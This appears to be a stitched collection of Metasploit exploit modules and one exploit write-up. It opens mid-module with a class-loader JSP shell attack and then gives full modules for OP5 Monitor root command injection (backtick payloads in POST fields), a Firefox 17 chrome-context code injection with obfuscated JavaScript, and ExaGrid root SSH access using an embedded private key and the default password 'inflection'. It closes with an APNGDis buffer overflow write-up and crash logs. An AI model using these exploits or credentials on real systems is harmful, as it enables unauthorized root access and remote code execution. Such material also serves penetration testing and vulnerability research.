print_status("Accessing JSP shell at #{jsp_shell}...")
send_request_cgi({
'uri' => normalize_uri(jsp_shell),
'version' => '1.1',
'method' => 'GET',
})
end
def class_loader_exploit
prefix_jsp = rand_text_alphanumeric(3+rand(3))
date_format = rand_text_numeric(1+rand(4))
@jsp_file = prefix_jsp + date_format + ".jsp"
# Modify the Class Loader
print_status("Modifying Class Loader...")
properties = {
:directory => 'webapps/ROOT',
:prefix => prefix_jsp,
:suffix => '.jsp',
:file_date_format => date_format
}
res = modify_class_loader(properties)
unless res
fail_with(Failure::TimeoutExpired, "#{peer} - No answer")
end
# Check if the log file exists and has been flushed
unless check_log_file(normalize_uri(target_uri.to_s))
fail_with(Failure::Unknown, "#{peer} - The log file hasn't been flushed")
end
register_files_for_cleanup(@jsp_file)
# Prepare the JSP
print_status("Generating JSP...")
jsp = create_jsp
# Dump the JSP to the log file
print_status("Dumping JSP into the logfile...")
random_request = rand_text_alphanumeric(3 + rand(3))
uri = normalize_uri('/', random_request)
jsp.each_line do |l|
unless dump_line(uri, l.chomp)
fail_with(Failure::Unknown, "#{peer} - Missed answer while dumping JSP to logfile...")
end
end
# Check log file... enjoy shell!
check_log_file(random_request)
# No matter what happened, try to 'restore' the Class Loader
properties = {
:directory => '',
:prefix => '',
:suffix => '',
:file_date_format => ''
}
modify_class_loader(properties)
end
end
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'OP5 welcome Remote Command Execution',
'Description' => %q{
This module exploits an arbitrary root command execution vulnerability in
OP5 Monitor welcome. Ekelow AB has confirmed that OP5 Monitor versions 5.3.5,
5.4.0, 5.4.2, 5.5.0, 5.5.1 are vulnerable.
},
'Author' => [ 'Peter Osterberg <j[at]vel.nu>' ],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2012-0262'],
['OSVDB', '78065'],
['URL', 'http://secunia.com/advisories/47417/'],
],
'Privileged' => true,
'Payload' =>
{
'DisableNops' => true,
'Space' => 1024,
'BadChars' => '`\\|',
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'perl ruby python',
}
},
'Platform' => %w{ linux unix },
'Arch' => ARCH_CMD,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Jan 05 2012',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(443),
OptString.new('URI', [true, "The full URI path to /op5config/welcome", "/op5config/welcome"]),
], self.class)
end
def check
vprint_status("Attempting to detect if the OP5 Monitor is vulnerable...")
vprint_status("Sending request to https://#{rhost}:#{rport}#{datastore['URI']}")
# Try running/timing 'ping localhost' to determine is system is vulnerable
start = Time.now
data = 'do=do=Login&password=`ping -c 10 127.0.0.1`';
res = send_request_cgi({
'uri' => normalize_uri(datastore['URI']),
'method' => 'POST',
'proto' => 'HTTPS',
'data' => data,
'headers' =>
{
'Connection' => 'close',
}
}, 25)
elapsed = Time.now - start
if elapsed >= 5
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def exploit
print_status("Sending request to https://#{rhost}:#{rport}#{datastore['URI']}")
data = 'do=do=Login&password=`' + payload.encoded + '`';
res = send_request_cgi({
'uri' => normalize_uri(datastore['URI']),
'method' => 'POST',
'proto' => 'HTTPS',
'data' => data,
'headers' =>
{
'Connection' => 'close',
}
}, 10)
if(not res)
if session_created?
print_status("Session created, enjoy!")
else
print_error("No response from the server")
end
return
end
end
end
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'OP5 license.php Remote Command Execution',
'Description' => %q{
This module exploits an arbitrary root command execution vulnerability in the
OP5 Monitor license.php. Ekelow has confirmed that OP5 Monitor versions 5.3.5,
5.4.0, 5.4.2, 5.5.0, 5.5.1 are vulnerable.
},
'Author' => [ 'Peter Osterberg <j[at]vel.nu>' ],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2012-0261'],
['OSVDB', '78064'],
['URL', 'http://secunia.com/advisories/47417/'],
],
'Privileged' => true,
'Payload' =>
{
'DisableNops' => true,
'Space' => 1024,
'BadChars' => '`\\|',
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'perl ruby python',
}
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Jan 05 2012',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(443),
OptString.new('URI', [true, "The full URI path to license.php", "/license.php"]),
], self.class)
end
def check
vprint_status("Attempting to detect if the OP5 Monitor is vulnerable...")
vprint_status("Sending request to https://#{rhost}:#{rport}#{datastore['URI']}")
# Try running/timing 'ping localhost' to determine is system is vulnerable
start = Time.now
data = 'timestamp=1317050333`ping -c 10 127.0.0.1`&action=install&install=Install';
res = send_request_cgi({
'uri' => normalize_uri(datastore['URI']),
'method' => 'POST',
'proto' => 'HTTPS',
'data' => data,
'headers' =>
{
'Connection' => 'close',
}
}, 25)
elapsed = Time.now - start
if elapsed >= 5
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def exploit
print_status("Sending request to https://#{rhost}:#{rport}#{datastore['URI']}")
data = 'timestamp=1317050333`' + payload.encoded + '`&action=install&install=Install';
res = send_request_cgi({
'uri' => normalize_uri(datastore['URI']),
'method' => 'POST',
'proto' => 'HTTPS',
'data' => data,
'headers' =>
{
'Connection' => 'close',
}
}, 25)
if(not res)
if session_created?
print_status("Session created, enjoy!")
else
print_error("No response from the server")
end
return
end
end
end
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::BrowserExploitServer
include Msf::Exploit::EXE
# include Msf::Exploit::Remote::BrowserAutopwn
include Msf::Exploit::Remote::FirefoxPrivilegeEscalation
# autopwn_info({
# :ua_name => HttpClients::FF,
# :ua_minver => "17.0",
# :ua_maxver => "17.0.1",
# :javascript => true,
# :rank => NormalRanking
# })
def initialize(info = {})
super(update_info(info,
'Name' => 'Firefox 17.0.1 Flash Privileged Code Injection',
'Description' => %q{
This exploit gains remote code execution on Firefox 17 and 17.0.1, provided
the user has installed Flash. No memory corruption is used.
First, a Flash object is cloned into the anonymous content of the SVG
"use" element in the <body> (CVE-2013-0758). From there, the Flash object
can navigate a child frame to a URL in the chrome:// scheme.
Then a separate exploit (CVE-2013-0757) is used to bypass the security wrapper
around the child frame's window reference and inject code into the chrome://
context. Once we have injection into the chrome execution context, we can write
the payload to disk, chmod it (if posix), and then execute.
Note: Flash is used here to trigger the exploit but any Firefox plugin
with script access should be able to trigger it.
},
'License' => MSF_LICENSE,
'Targets' => [
[
'Universal (Javascript XPCOM Shell)', {
'Platform' => 'firefox',
'Arch' => ARCH_FIREFOX
}
],
[
'Native Payload', {
'Platform' => %w{ java linux osx solaris win },
'Arch' => ARCH_ALL
}
]
],
'DefaultTarget' => 0,
'Author' =>
[
'Marius Mlynski', # discovery & bug report
'joev', # metasploit module
'sinn3r' # metasploit fu
],
'References' =>
[
['CVE', '2013-0758'], # navigate a frame to a chrome:// URL
['CVE', '2013-0757'], # bypass Chrome Object Wrapper to talk to chrome://
['OSVDB', '89019'], # maps to CVE 2013-0757
['OSVDB', '89020'], # maps to CVE 2013-0758
['URL', 'http://www.mozilla.org/security/announce/2013/mfsa2013-15.html'],
['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=813906']
],
'DisclosureDate' => 'Jan 08 2013',
'BrowserRequirements' => {
:source => 'script',
:ua_name => HttpClients::FF,
:ua_ver => /17\..*/,
:flash => /[\d.]+/
}
))
register_options(
[
OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>.", '' ] ),
OptBool.new('DEBUG_JS', [false, "Display some alert()'s for debugging the payload.", false])
], Auxiliary::Timed)
end
def on_request_exploit(cli, request, info)
if request.uri =~ /\.swf$/
# send Flash .swf for navigating the frame to chrome://
print_status("Sending .swf trigger.")
send_response(cli, flash_trigger, { 'Content-Type' => 'application/x-shockwave-flash' })
else
# send initial HTML page
print_status("Target selected: #{target.name}")
print_status("Sending #{self.name}")
send_response_html(cli, generate_html(cli, target))
end
end
# @return [String] the contents of the .swf file used to trigger the exploit
def flash_trigger
swf_path = File.join(Msf::Config.data_directory, "exploits", "cve-2013-0758.swf")
@flash_trigger ||= File.read(swf_path)
end
# @return [String] containing javascript that will alert a debug string
# if the DEBUG is set to true
def js_debug(str, quote="'")
if datastore['DEBUG_JS'] then "alert(#{quote}#{str}#{quote})" else '' end
end
# @return [String] HTML that is sent in the first response to the client
def generate_html(cli, target)
vars = {
:symbol_id => 'a',
:random_domain => 'safe',
:payload => run_payload, # defined in FirefoxPrivilegeEscalation mixin
:payload_var => 'c',
:payload_key => 'k',
:payload_obj_var => 'payload_obj',
:interval_var => 'itvl',
:access_string => 'access',
:frame_ref => 'frames[0]',
:frame_name => 'n',
:loader_path => "#{get_module_uri}.swf",
:content => self.datastore['CONTENT'] || ''
}
script = js_obfuscate %Q|
var #{vars[:payload_obj_var]} = #{JSON.unparse({vars[:payload_key] => vars[:payload]})};
var #{vars[:payload_var]} = #{vars[:payload_obj_var]}['#{vars[:payload_key]}'];
function $() {
document.querySelector('base').href = "http://www.#{vars[:random_domain]}.com/";
}
function _() {
return '#{vars[:frame_name]}';
}
var #{vars[:interval_var]} = setInterval(function(){
try{ #{vars[:frame_ref]}['#{vars[:access_string]}'] }
catch(e){
clearInterval(#{vars[:interval_var]});
var p = Object.getPrototypeOf(#{vars[:frame_ref]});
var o = {__exposedProps__: {setTimeout: "rw", call: "rw"}};
Object.prototype.__lookupSetter__("__proto__").call(p, o);
p.setTimeout.call(#{vars[:frame_ref]}, #{vars[:payload_var]}, 1);
}
}, 100);
document.querySelector('object').data = "#{vars[:loader_path]}";
document.querySelector('use').setAttributeNS(
"http://www.w3.org/1999/xlink", "href", location.href + "##{vars[:symbol_id]}"
);
|
%Q|
<!doctype html>
<html>
<head>
<base href="chrome://browser/content/">
</head>
<body>
<svg style='position: absolute;top:-500px;left:-500px;width:1px;height:1px'>
<symbol id="#{vars[:symbol_id]}">
<foreignObject>
<object></object>
</foreignObject>
</symbol>
<use />
</svg>
<script>
#{script}
</script>
<iframe style="position:absolute;top:-500px;left:-500px;width:1px;height:1px"
name="#{vars[:frame_name]}"></iframe>
#{vars[:content]}
</body>
</html>
|
end
end
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'net/ssh'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::SSH
def initialize(info = {})
super(update_info(info, {
'Name' => 'ExaGrid Known SSH Key and Default Password',
'Description' => %q{
ExaGrid ships a public/private key pair on their backup appliances to
allow passwordless authentication to other ExaGrid appliances. Since
the private key is easily retrievable, an attacker can use it to gain
unauthorized remote access as root. Additionally, this module will
attempt to use the default password for root, 'inflection'.
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Privileged' => true,
'Targets' => [ [ "Universal", {} ] ],
'Payload' =>
{
'Compat' => {
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find',
},
},
'Author' => ['egypt'],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2016-1560' ], # password
[ 'CVE', '2016-1561' ], # private key
[ 'URL', 'https://community.rapid7.com/community/infosec/blog/2016/04/07/r7-2016-04-exagrid-backdoor-ssh-keys-and-hardcoded-credentials' ]
],
'DisclosureDate' => "Apr 07 2016",
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
'DefaultTarget' => 0
}))
register_options(
[
# Since we don't include Tcp, we have to register this manually
Opt::RHOST(),
Opt::RPORT(22)
], self.class
)
register_advanced_options(
[
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
]
)
end
# helper methods that normally come from Tcp
def rhost
datastore['RHOST']
end
def rport
datastore['RPORT']
end
def do_login(ssh_options)
begin
ssh_socket = nil
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
ssh_socket = Net::SSH.start(rhost, 'root', ssh_options)
end
rescue Rex::ConnectionError
return
rescue Net::SSH::Disconnect, ::EOFError
print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
return
rescue ::Timeout::Error
print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
return
rescue Net::SSH::AuthenticationFailed
print_error "#{rhost}:#{rport} SSH - Failed authentication"
rescue Net::SSH::Exception => e
print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
return
end
if ssh_socket
# Create a new session from the socket, then dump it.
conn = Net::SSH::CommandStream.new(ssh_socket, '/bin/bash -i', true)
ssh_socket = nil
return conn
else
return false
end
end
# Ghetto hack to prevent the shell detection logic from hitting false
# negatives due to weirdness with ssh sockets. We already know it's a shell
# because auth succeeded by this point, so no need to do the check anyway.
module TrustMeItsAShell
def _check_shell(*args)
true
end
end
def exploit
payload_instance.extend(TrustMeItsAShell)
factory = ssh_socket_factory
ssh_options = {
auth_methods: ['publickey'],
config: false,
use_agent: false,
key_data: [ key_data ],
port: rport,
proxy: factory,
non_interactive: true
}
ssh_options.merge!(verbose: :debug) if datastore['SSH_DEBUG']
conn = do_login(ssh_options)
unless is_success?(conn, true)
ssh_options[:auth_methods] = ['password']
ssh_options[:password] = 'inflection'
ssh_options.delete(:key_data)
conn = do_login(ssh_options)
is_success?(conn, false)
end
end
def is_success?(conn,key_based)
if conn
print_good "Successful login"
service_data = {
address: rhost,
port: rport,
protocol: 'tcp',
service_name: 'ssh',
workspace_id: myworkspace_id,
}
credential_data = {
username: 'root',
private_type: ( key_based ? :ssh_key : :password ),
private_data: ( key_based ? key_data : 'inflection' ),
origin_type: :service,
module_fullname: fullname,
}.merge(service_data)
core = create_credential(credential_data)
login_data = {
core: core,
last_attempted: Time.now,
}.merge(service_data)
create_credential_login(login_data)
handler(conn.lsock)
true
else
false
end
end
def key_data
<<EOF
-----BEGIN RSA PRIVATE KEY-----
MIICWAIBAAKBgGdlD7qeGU9f8mdfmLmFemWMnz1tKeeuxKznWFI+6gkaagqjAF10
hIruzXQAik7TEBYZyvw9SvYU6MQFsMeqVHGhcXQ5yaz3G/eqX0RhRDn5T4zoHKZa
E1MU86zqAUdSXwHDe3pz5JEoGl9EUHTLMGP13T3eBJ19MAWjP7Iuji9HAgElAoGA
GSZrnBieX2pdjsQ55/AJA/HF3oJWTRysYWi0nmJUmm41eDV8oRxXl2qFAIqCgeBQ
BWA4SzGA77/ll3cBfKzkG1Q3OiVG/YJPOYLp7127zh337hhHZyzTiSjMPFVcanrg
AciYw3X0z2GP9ymWGOnIbOsucdhnbHPuSORASPOUOn0CQQC07Acq53rf3iQIkJ9Y
iYZd6xnZeZugaX51gQzKgN1QJ1y2sfTfLV6AwsPnieo7+vw2yk+Hl1i5uG9+XkTs
Ry45AkEAkk0MPL5YxqLKwH6wh2FHytr1jmENOkQu97k2TsuX0CzzDQApIY/eFkCj
QAgkI282MRsaTosxkYeG7ErsA5BJfwJAMOXYbHXp26PSYy4BjYzz4ggwf/dafmGz
ebQs+HXa8xGOreroPFFzfL8Eg8Ro0fDOi1lF7Ut/w330nrGxw1GCHQJAYtodBnLG
XLMvDHFG2AN1spPyBkGTUOH2OK2TZawoTmOPd3ymK28LriuskwxrceNb96qHZYCk
86DC8q8p2OTzYwJANXzRM0SGTqSDMnnid7PGlivaQqfpPOx8MiFR/cGr2dT1HD7y
x6f/85mMeTqamSxjTJqALHeKPYWyzeSnUrp+Eg==
-----END RSA PRIVATE KEY-----
EOF
end
end
# Exploit Title: APNGDis filename Buffer Overflow
# Date: 14-03-2017
# Exploit Author: Alwin Peppels
# Vendor Homepage: http://apngdis.sourceforge.net/
# Software Link: https://sourceforge.net/projects/apngdis/files/2.8/
# Version: 2.8
# Tested on: Linux Debian / Windows 7
# CVE : CVE-2017-6191
Additional analysis:
https://www.onvio.nl/nieuws/cve-2017-6191-apngdis-filename-buffer-overflow
Textbook buffer overflow; a fixed size buffer gets allocated with
szPath[256], and the first command line argument is stored without
validation.
int main(int argc, char** argv)
{
unsigned int i, j;
char * szInput;
char * szOutPrefix;
char szPath[256];
char szOut[256];
std::vector frames;
printf("\nAPNG Disassembler 2.8\n\n");
if (argc > 1)
szInput = argv[1];
else
{
printf("Usage: apngdis anim.png [name]\n");
return 1;
}
strcpy(szPath, szInput);
}
With 'A' * 1000 as argv[1] :
GDB:
Program received signal SIGSEGV, Segmentation fault.
strlen () at ../sysdeps/x86_64/strlen.S:106
106 ../sysdeps/x86_64/strlen.S: No such file or directory.
(gdb) i r
rax 0x4141414141414141 4702111234474983745
rbx 0x7ffff70ea600 140737338320384
rcx 0x141 321
rdx 0x0 0
rsi 0x7fffffffca40 140737488341568
rdi 0x4141414141414141 4702111234474983745
rbp 0x7fffffffceb0 0x7fffffffceb0
rsp 0x7fffffffc948 0x7fffffffc948
r8 0x4141414141414141 4702111234474983745
r9 0x9 9
r10 0x73 115
r11 0x7fffffffce78 140737488342648
r12 0x555555558c9f 93824992251039
r13 0x7fffffffcec8 140737488342728
r14 0x0 0
r15 0xffffffffffffffff -1
rip 0x7ffff6dd1486 0x7ffff6dd1486 <strlen+38>
eflags 0x10297 [ CF PF AF SF IF RF ]
Valgrind:
==10685== Invalid read of size 1
==10685== at 0x4C2EDA2: strlen (vg_replace_strmem.c:454)
==10685== by 0x5B6ADA2: vfprintf (vfprintf.c:1637)
==10685== by 0x5B711F8: printf (printf.c:33)
==10685== by 0x109F05: load_apng(char*, std::vector<APNGFrame,
std::allocator<APNGFrame> >&) (apngdis.cpp:200)
==10685== by 0x10B24E: main (apngdis.cpp:498)
==10685== Address 0x4141414141414141 is not stack'd, malloc'd or
(recently) free'd
==10685==
==10685==
==10685== Process terminating with default action of signal 11 (SIGSEGV)
==10685== General Protection Fault
==10685== at 0x4C2EDA2: strlen (vg_replace_strmem.c:454)
==10685== by 0x5B6ADA2: vfprintf (vfprintf.c:1637)
==10685== by 0x5B711F8: printf (printf.c:33)
==10685== by 0x109F05: load_apng(char*, std::vector<APNGFrame,
std::allocator<APNGFrame> >&) (apngdis.cpp:200)
==10685== by 0x10B24E: main (apngdis.cpp:498)
Reading '==10685==
==10685== HEAP SUMMARY:
==10685== in use at exit: 0 bytes in 0 blocks
==10685== total heap usage: 2 allocs, 2 frees, 73,728 bytes allocated
==10685==
==10685== All heap blocks were freed -- no leaks are possible